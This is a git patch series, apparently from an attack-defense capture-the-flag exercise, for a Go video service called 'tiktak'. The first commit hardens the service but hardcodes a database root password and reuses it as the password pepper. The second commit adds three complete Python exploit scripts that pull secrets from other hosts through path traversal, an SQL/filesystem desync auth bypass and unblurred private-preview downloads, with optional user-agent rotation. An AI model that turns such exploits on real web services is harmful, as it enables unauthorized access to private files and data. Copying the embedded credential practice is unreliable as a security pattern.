From fac56abb1d02fe5d7e8131d84c0f39d329fb33c7 Mon Sep 17 00:00:00 2001 From: bobiqqq Date: Wed, 26 Aug 2026 11:40:56 +0300 Subject: [PATCH 1/2] =?UTF-8?q?tiktak:=20LFI/auth-bypass=20=D0=B2=20/vtt/,?= =?UTF-8?q?=20=D1=83=D1=82=D0=B5=D1=87=D0=BA=D0=B0=20=D0=BF=D1=80=D0=B5?= =?UTF-8?q?=D0=B2=D1=8C=D1=8E,=20=D0=BA=D1=80=D0=B5=D0=B4=D1=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - handleVtt: id валидируется как положительное целое, ошибка GetVideo больше не игнорируется. Закрывает сразу два вектора: обход ACL через нулевой db.Video (Private=false => haveAccess пропускал анонима) и path traversal в path.Join(VttFolder, vid+".vtt"). - handleCreate: резкое превью приватного видео удаляется после блюра, иначе оно оставалось доступным в public/static через echo.Static. - main.go: DSN приведён к паролю из compose (5935004 поменял только compose, из-за чего сервис не достучался бы до базы). - db: пароли хешируются sha256 с pepper, сверка в Go constant-time, плейнтекст принимается как legacy => старые юзеры не теряют доступ. - cookies: HttpOnly + Path=/ + SameSite=Lax. Co-Authored-By: Claude Opus 5 --- services/tiktak/db/db.go | 35 ++++++++++++++++++++++++-- services/tiktak/docker-compose.yml | 6 +++++ services/tiktak/main.go | 5 +++- services/tiktak/server/auth/context.go | 14 ++++++++++- services/tiktak/server/server.go | 30 ++++++++++++++++++---- 5 files changed, 81 insertions(+), 9 deletions(-) diff --git a/services/tiktak/db/db.go b/services/tiktak/db/db.go index 10c83f0..ddcb312 100644 --- a/services/tiktak/db/db.go +++ b/services/tiktak/db/db.go @@ -2,9 +2,35 @@ package db import ( "context" + "crypto/sha256" + "crypto/subtle" + "fmt" + "github.com/gocraft/dbr/v2" ) +// pepper is mixed into every stored password. NEVER change it after the first +// deploy -- every account created afterwards would be locked out. +const pepper = "cRazy_P4ssw0rd_MeOw_Me0W_676767676767" + +// HashPassword returns the value that is actually persisted in users.password. +func HashPassword(password string) string { + h := sha256.New() + h.Write([]byte(pepper)) + h.Write([]byte(password)) + return fmt.Sprintf("sha256$%x", h.Sum(nil)) +} + +// passwordMatches accepts the new hashed form and, for accounts created before +// this patch, the legacy plaintext form -- otherwise existing users (including +// the checker's) would be locked out and the SLA would drop. +func passwordMatches(stored, supplied string) bool { + if subtle.ConstantTimeCompare([]byte(stored), []byte(HashPassword(supplied))) == 1 { + return true + } + return subtle.ConstantTimeCompare([]byte(stored), []byte(supplied)) == 1 +} + type Storage struct { conn *dbr.Connection } @@ -30,6 +56,7 @@ func (s *Storage) init() { func (s *Storage) InsertUser(ctx context.Context, user *User) error { sess := s.conn.NewSession(nil) + user.Password = HashPassword(user.Password) _, err := sess.InsertInto("users").Columns("login", "password").Record(user).ExecContext(ctx) return err } @@ -37,15 +64,19 @@ func (s *Storage) InsertUser(ctx context.Context, user *User) error { func (s *Storage) FindUser(ctx context.Context, login, password string) (*User, error) { sess := s.conn.NewSession(nil) user := new(User) + // Look the account up by login only, then verify the secret in Go: the + // password no longer travels through the WHERE clause as a comparable value. err := sess.Select("*"). From("users"). Where("login = ?", login). - Where("password = ?", password). LoadOneContext(ctx, user) if err != nil { return nil, err } - return user, err + if !passwordMatches(user.Password, password) { + return nil, dbr.ErrNotFound + } + return user, nil } func (s *Storage) AddVideo(ctx context.Context, v *Video) error { diff --git a/services/tiktak/docker-compose.yml b/services/tiktak/docker-compose.yml index 6eb6eeb..c62b8c8 100644 --- a/services/tiktak/docker-compose.yml +++ b/services/tiktak/docker-compose.yml @@ -2,6 +2,9 @@ version: '3' services: tiktak: build: . + # CI (.gitea/workflows/build-and-push.yml) pushes only images matching + # git.itqdev.xyz/4x10m/* -- without this line the build job fails. + image: git.itqdev.xyz/4x10m/tiktak:${IMAGE_TAG:-latest} ports: - "5000:4000" restart: always @@ -13,8 +16,11 @@ services: db: image: mysql:8.0.17 restart: always + # NOTE: not published to the host on purpose -- keep it that way. volumes: - ./db_data:/var/lib/mysql environment: + # Rotated. Keep in sync with the DSN in main.go. + # Only applied when ./db_data is created from scratch! MYSQL_ROOT_PASSWORD: cRazy_P4ssw0rd_MeOw_Me0W_676767676767 MYSQL_DATABASE: tiktak diff --git a/services/tiktak/main.go b/services/tiktak/main.go index 47ff6b6..50335c9 100644 --- a/services/tiktak/main.go +++ b/services/tiktak/main.go @@ -17,9 +17,12 @@ import ( ) func main() { + // Rotated DB password. Must stay in sync with MYSQL_ROOT_PASSWORD in + // docker-compose.yml AND with the actual MySQL user (ALTER USER) when the + // ./db_data volume already exists. conn, err := dbr.Open( "mysql", - "root:root@tcp(db:3306)/tiktak", nil) + "root:cRazy_P4ssw0rd_MeOw_Me0W_676767676767@tcp(db:3306)/tiktak", nil) if err != nil { panic(err) diff --git a/services/tiktak/server/auth/context.go b/services/tiktak/server/auth/context.go index 1ead9fe..6f83cb3 100644 --- a/services/tiktak/server/auth/context.go +++ b/services/tiktak/server/auth/context.go @@ -11,7 +11,19 @@ const IdCookieName = "user_id" func Cookies(id int64) (*http.Cookie, *http.Cookie) { ids := strconv.FormatInt(id, 10) - return &http.Cookie{Value: ids, Name: IdCookieName}, &http.Cookie{Value: Generate(ids), Name: HashCookieName} + return &http.Cookie{ + Name: IdCookieName, + Value: ids, + Path: "/", + HttpOnly: true, + SameSite: http.SameSiteLaxMode, + }, &http.Cookie{ + Name: HashCookieName, + Value: Generate(ids), + Path: "/", + HttpOnly: true, + SameSite: http.SameSiteLaxMode, + } } type Context struct { diff --git a/services/tiktak/server/server.go b/services/tiktak/server/server.go index 592c907..ea818a3 100644 --- a/services/tiktak/server/server.go +++ b/services/tiktak/server/server.go @@ -136,6 +136,12 @@ func (s *Server) handleCreate(c echo.Context) error { if err = video.Blur(ppath, s.privatePreviewPath(v.ID)); err != nil { return c.Render(http.StatusUnprocessableEntity, "create", ErrorResponse{"failed to blur preview: " + err.Error()}) } + // public/static is served by echo.Static, so the sharp preview of a + // private video would otherwise be downloadable by anyone at + // /public/static/preview_.png -- drop it once it has been blurred. + if err = os.Remove(ppath); err != nil && !os.IsNotExist(err) { + return c.Render(http.StatusUnprocessableEntity, "create", ErrorResponse{"failed to drop preview: " + err.Error()}) + } } return c.Redirect(http.StatusFound, fmt.Sprintf("/watch/%d", v.ID)) } @@ -180,14 +186,28 @@ func (s *Server) handleWatch(c echo.Context) error { func (s *Server) handleVtt(c echo.Context) error { ac := c.(*auth.Context) - vid := c.QueryParam("id") - uid := ac.GetId() + + // The id must be a plain positive integer. Anything else (./7, x/../7, + // ../../etc/foo) is rejected before it can reach either the DB or the FS. + vid, err := strconv.ParseInt(c.QueryParam("id"), 10, 64) + if err != nil || vid <= 0 { + return c.NoContent(http.StatusNotFound) + } + ctx := context.Background() - v, _ := s.db.GetVideo(ctx, vid) - if !s.haveAccess(ctx, uid, *v) { + v, err := s.db.GetVideo(ctx, vid) + // The error MUST be handled: a missing row leaves a zero db.Video + // (UserID=0, Private=false) which haveAccess() would happily accept. + if err != nil || v == nil { + return c.NoContent(http.StatusNotFound) + } + + if !s.haveAccess(ctx, ac.GetId(), *v) { return c.NoContent(http.StatusForbidden) } - vttPath := path.Join(s.c.VttFolder, vid+".vtt") + + // Build the path from the validated integer, never from raw user input. + vttPath := path.Join(s.c.VttFolder, strconv.FormatInt(vid, 10)+".vtt") return c.File(vttPath) } From 456287b6c08aef8396cf4ec41a40aa4e50921586 Mon Sep 17 00:00:00 2001 From: bobiqqq Date: Wed, 26 Aug 2026 11:40:56 +0300 Subject: [PATCH 2/2] =?UTF-8?q?sploits:=20tiktak=20(LFI,=20auth=20bypass,?= =?UTF-8?q?=20=D1=83=D1=82=D0=B5=D1=87=D0=BA=D0=B0=20=D0=BF=D1=80=D0=B5?= =?UTF-8?q?=D0=B2=D1=8C=D1=8E)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - tiktak_vtt_path_traversal.py: ../ в ?id=, подбирает рабочий шаблон один раз и переиспользует на остальных ID. - tiktak_vtt_auth_bypass.py: рассинхрон SQL/FS ('./7' => MySQL 0, файл public/vtt/7.vtt), работает даже если запатчат только traversal. - tiktak_private_preview_leak.py: резкое превью приватного видео, OCR опционален, без pytesseract молча не печатает мусор в stdout. Co-Authored-By: Claude Opus 5 --- sploits/tiktak_private_preview_leak.py | 127 +++++++++++++++++++++++++ sploits/tiktak_vtt_auth_bypass.py | 112 ++++++++++++++++++++++ sploits/tiktak_vtt_path_traversal.py | 118 +++++++++++++++++++++++ 3 files changed, 357 insertions(+) create mode 100755 sploits/tiktak_private_preview_leak.py create mode 100755 sploits/tiktak_vtt_auth_bypass.py create mode 100755 sploits/tiktak_vtt_path_traversal.py diff --git a/sploits/tiktak_private_preview_leak.py b/sploits/tiktak_private_preview_leak.py new file mode 100755 index 0000000..9a03a2c --- /dev/null +++ b/sploits/tiktak_private_preview_leak.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +import sys +import re +import random +import requests + +USE_CUSTOM_USER_AGENT = False +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" +] + +PORT = 5000 +FEED_RX = re.compile(r'src="([^"]*preview_(\d+)(_blured)?\.png)"') + + +def _ocr(png_bytes): + """Optional: OCR the frame. No-op (and no crash) if pytesseract is absent.""" + try: + import io + from PIL import Image + import pytesseract + except ImportError: + return "" + try: + return pytesseract.image_to_string(Image.open(io.BytesIO(png_bytes))) + except Exception as e: + print(f"[-] ocr failed: {e}", file=sys.stderr, flush=True) + return "" + + +def exploit(target_ip): + flags = set() + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + # ------------------------------------------------------------------------- + # VULN: server/server.go handleCreate() + routes() + # ppath := s.previewPath(v.ID) // public/static/preview_.png + # video.GeneratePreview(ctx, ..., ppath) + # if v.Private { video.Blur(ppath, s.privatePreviewPath(v.ID)) } + # ... + # s.e.Static("/"+s.c.StaticFolder, s.c.StaticFolder) + # + # For a PRIVATE video the sharp first frame is written to + # public/static/preview_.png and is NEVER deleted; only an extra blurred + # copy preview__blured.png is produced. public/static is exposed by + # echo.Static, so the un-blurred frame of every private video is a plain + # unauthenticated GET away -- the feed only ever links the blurred one. + # + # /feed leaks the id of every video (including private ones), so: + # /public/static/preview__blured.png -> what you are supposed to see + # /public/static/preview_.png -> the real frame + # ------------------------------------------------------------------------- + try: + s = requests.Session() + s.headers.update(headers) + base = f"http://{target_ip}:{PORT}" + + private_ids = [] + try: + r = s.get(f"{base}/feed", timeout=5) + # a "_blured" preview in the feed == the video is private + private_ids = sorted( + {int(m[1]) for m in FEED_RX.findall(r.text) if m[2]}, reverse=True + ) + except requests.RequestException as e: + print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True) + + if not private_ids: + print(f"[!] no private videos advertised by /feed on {target_ip}", + file=sys.stderr, flush=True) + return flags + + for vid in private_ids: + url = f"{base}/public/static/preview_{vid}.png" + try: + r = s.get(url, timeout=5) + except requests.RequestException as e: + print(f"[-] preview {vid} failed: {e}", file=sys.stderr, flush=True) + continue + if r.status_code != 200 or not r.content.startswith(b"\x89PNG"): + continue + + print(f"[+] leaked un-blurred preview of private video {vid} " + f"({len(r.content)} bytes) from {url}", file=sys.stderr, flush=True) + flags.update(FLAG_RX.findall(_ocr(r.content))) + + except requests.RequestException as e: + print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) + # ------------------------------------------------------------------------- + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + + try: + found_flags = exploit(target_ip) + + if found_flags is None: + found_flags = [] + elif isinstance(found_flags, str): + found_flags = [found_flags] + + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main() diff --git a/sploits/tiktak_vtt_auth_bypass.py b/sploits/tiktak_vtt_auth_bypass.py new file mode 100755 index 0000000..3b1156f --- /dev/null +++ b/sploits/tiktak_vtt_auth_bypass.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python3 +import sys +import re +import random +import requests + +USE_CUSTOM_USER_AGENT = False +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" +] + +PORT = 5000 +EXTRA_DEPTH = 60 # how many ids below the feed window to bruteforce +WATCH_RX = re.compile(r"/watch/(\d+)") + + +def exploit(target_ip): + flags = set() + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + # ------------------------------------------------------------------------- + # VULN: server/server.go:181-192 handleVtt() + # v, _ := s.db.GetVideo(ctx, vid) <-- error is DISCARDED + # if !s.haveAccess(ctx, uid, *v) { 403 } + # return c.File(path.Join(s.c.VttFolder, vid+".vtt")) + # + # `vid` is the RAW query string, it is used twice: + # 1) as a SQL value -> MySQL casts './7' to the number 0, no row matches, + # GetVideo returns (&Video{}, ErrNotFound) and the error is thrown away. + # The zero Video has Private=false and UserID=0, so haveAccess() returns + # true for everybody (even for an anonymous visitor, uid==0). + # 2) as a FILE PATH -> path.Join("public/vtt", "./7.vtt") == "public/vtt/7.vtt" + # + # => subtitles (where the checker stores the flag) of ANY private video are + # served without login, without a share token and without an access row. + # ------------------------------------------------------------------------- + try: + s = requests.Session() + s.headers.update(headers) + base = f"http://{target_ip}:{PORT}" + + # 1. enumerate video ids from the public feed + ids = [] + try: + r = s.get(f"{base}/feed", timeout=5) + ids = [int(x) for x in WATCH_RX.findall(r.text)] + except requests.RequestException as e: + print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True) + + if ids: + lo = max(1, min(ids) - EXTRA_DEPTH) + ids = sorted(set(ids) | set(range(lo, min(ids))), reverse=True) + else: + ids = list(range(200, 0, -1)) + + # 2. for every id ask for its .vtt with a payload that de-syncs + # the SQL lookup from the file lookup + for vid in ids: + for payload in (f"./{vid}", f"x/../{vid}", f"/{vid}"): + try: + r = s.get(f"{base}/vtt/", params={"id": payload}, timeout=5) + except requests.RequestException as e: + print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True) + break + if r.status_code != 200: + continue + found = FLAG_RX.findall(r.text) + if found: + flags.update(found) + break + + except requests.RequestException as e: + print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) + # ------------------------------------------------------------------------- + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + + try: + found_flags = exploit(target_ip) + + if found_flags is None: + found_flags = [] + elif isinstance(found_flags, str): + found_flags = [found_flags] + + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main() diff --git a/sploits/tiktak_vtt_path_traversal.py b/sploits/tiktak_vtt_path_traversal.py new file mode 100755 index 0000000..17105f5 --- /dev/null +++ b/sploits/tiktak_vtt_path_traversal.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 +import sys +import re +import random +import requests + +USE_CUSTOM_USER_AGENT = False +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" +] + +PORT = 5000 +WATCH_RX = re.compile(r"/watch/(\d+)") + +# path.Join("public/vtt", +".vtt") -- the payload escapes VttFolder and +# is re-anchored at the container WORKDIR (/app) or at "/". +TRAVERSALS = [ + "../vtt/{id}", + "../../public/vtt/{id}", + "../../../app/public/vtt/{id}", + "../../../../app/public/vtt/{id}", +] + + +def exploit(target_ip): + flags = set() + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + # ------------------------------------------------------------------------- + # VULN: server/server.go:190 handleVtt() + # vttPath := path.Join(s.c.VttFolder, vid+".vtt") + # return c.File(vttPath) + # + # `vid` comes straight from ?id= and is NEVER sanitised (no path.Clean("/"+p) + # guard like echo's Static handler does). Any "../" sequence walks out of + # public/vtt and c.File() happily serves the result -- i.e. arbitrary read of + # any *.vtt file on the container filesystem. + # + # Bonus: the very same value is fed to GetVideo() whose error is ignored, so + # a traversing id also never matches a DB row -> the private-video ACL check + # in haveAccess() is skipped as well (zero Video => Private=false). + # + # Here we abuse it to pull the subtitle track (= the flag) of every video + # while never touching the authorisation path at all. + # ------------------------------------------------------------------------- + try: + s = requests.Session() + s.headers.update(headers) + base = f"http://{target_ip}:{PORT}" + + ids = [] + try: + r = s.get(f"{base}/feed", timeout=5) + ids = sorted({int(x) for x in WATCH_RX.findall(r.text)}, reverse=True) + except requests.RequestException as e: + print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True) + + if not ids: + ids = list(range(200, 0, -1)) + + good_tpl = None + for vid in ids: + templates = [good_tpl] if good_tpl else TRAVERSALS + for tpl in templates: + try: + r = s.get(f"{base}/vtt/", + params={"id": tpl.format(id=vid)}, + timeout=5) + except requests.RequestException as e: + print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True) + break + if r.status_code != 200 or "WEBVTT" not in r.text: + continue + good_tpl = tpl + flags.update(FLAG_RX.findall(r.text)) + break + + except requests.RequestException as e: + print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) + # ------------------------------------------------------------------------- + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + + try: + found_flags = exploit(target_ip) + + if found_flags is None: + found_flags = [] + elif isinstance(found_flags, str): + found_flags = [found_flags] + + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main()